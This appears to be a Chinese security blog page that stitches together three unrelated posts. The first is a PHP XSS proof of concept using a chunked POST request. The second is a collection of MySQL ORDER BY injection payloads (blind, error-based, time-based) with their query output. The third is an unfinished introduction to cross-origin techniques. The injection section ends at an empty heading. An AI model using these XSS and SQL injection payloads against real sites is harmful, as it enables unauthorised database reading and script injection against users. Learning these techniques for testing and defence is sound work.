有趣的XSS小记(XSS due to the header Transfer-Encoding: chunked)


0x01 随便说说

早就想更博客了,有点懒就一直没写,最近在进一步的学习网络协议相关的东西,前两天在推特上发现一个有趣的东西,顺便学习了一下http Transfer-Encoding,这里简单的mark记录一下。

0x02 记录

前两天看到一篇推特如下:

这里本地先尝试了一下:

//testbug1.php
<script>var x=<?=json_encode($_GET)?>;</script>

感觉这个好像不可能有XSS,那么既然都发出来了,肯定是能XSS的。。。于是网上搜了下,发现是一个PHP的bug:

XSS due to the header Transfer-Encoding: chunked

这个的大致意思就是说可以利用http的分块编码(chunked)来进行操作,那么chunked这个编码是做什么的呢?它主要是为了解决网络文件等不好获取实体长度的文件的问题,通过使用分块传输编码,数据分解成一系列数据块,并以一个或多个块发送,这样服务器可以发送数据而不需要预先知道发送内容的总大小。
这里将请求包改为POST,加入该字段,再插入XSS就行了。

POST /testbug1.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
Content-Length: 25

<script>alert(1)</script>


常见的sql注入方式和waf绕过(仅以空格为例)的一些小技巧


朋友分享了一些sql注入和waf绕过的特殊技巧,我这里想简单的记录下......

0x01 order by注入

1. 盲注

1. 布尔

  1. if
select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| admin | admintest |       1 |
+-------+-----------+---------+
1 row in set (0.00 sec)

b.rand

mysql> select rand(true);
+---------------------+
| rand(true)          |
+---------------------+
| 0.40540353712197724 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand(false);
+---------------------+
| rand(false)         |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)

这里可以利用rand(true) rand(false)的值不同,排序注入后面的顺序也不同

mysql> select * from user order by 1-rand(substr(version(),1,1)=5);
+-------+-----------+---------+
| user  | password  | user_id |
+-------+-----------+---------+
| test  | testadmin |       2 |
| admin | admintest |       1 |
| sp4rk | sp4rktest |       3 |
+-------+-----------+---------+
3 rows in set (0.02 sec)

c.regexp
select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);

2 报错注入

select * from user order by 1-updatexml(1,concat(0x5e24,version(),0x5e24),0);
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'
mysql> select * from user order by 1-extractvalue(1,concat(0x5e24,version(),0x5e24));
ERROR 1105 (HY000): XPATH syntax error: '^$5.7.22-0ubuntu18.04.1^$'

3 延时注入

select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);

4 asc desc处

1.盲注

mysql> select user from user order by user,if(substr(version(),1,1)=5,1,(select 1 union select 2)) desc;
+-------+
| user  |
+-------+
| admin |
| sp4rk |
| test  |
+-------+

报错,延时同上

5 逻辑区别进行排序

mysql> select user from user order by 1-if(1=1,user,user_id);
+-------+
| user  |
+-------+
| admin |
| test  |
| sp4rk |
+-------+
3 rows in set, 3 warnings (0.00 sec)

mysql> select user from user order by 1-if(1=1,user_id,user);
+-------+
| user  |
+-------+
| sp4rk |
| test  |
| admin |
+-------+

payload:    ,if(1=1,user_id,user);
,(case when (1=1) then user_id else user end)
,ifnull(null,user_id)
,rand(1=1)

6利用报错判断

payload:
if(1=1,1,(select 1 union select 2))  正确
if(1=2,1,(select 1 union select 2)) 错误
if(1=1,1,(select 1 from information_schema.tables)) 正确
if(1=2,1,(select 1 from information_schema.tables)) 错误

0x02 limit注入



前端安全--几种跨域方法小记


0x00 前言

同源策略(Same Origin Policy, SOP):是Web应用程序的一种安全模型,它控制了网页中DOM之间的访问(协议,端口,主机名都相同时认为时同源)。
由于同源策略限制了网页间的相互访问,当需要加载外部资源的时候就会用到跨域进行信息的交互。

<html>    
<script>
function loadUrl(uri,callback){  
    if(typeof callback!='function'){  
        callback=function(uri){  
            console.log(uri);  
        }  
    }  
    var xhr = new XMLHttpRequest();  
    xhr.responseType = 'text';  
    xhr.onload = function() {  
        callback(xhr.response);  
    }  
    xhr.open('GET', uri, true);  
    xhr.send();  
}  
  
var url = 'http://sp4rk.cn/test.js';  
loadUrl(url,function(data){  
    alert('test success');
});  
</script>
</html>


1.html中,当我们用XMLHttpRequest正常加载外部资源的时候,可以发现同源策略的限制

0x01 JSONP实现跨域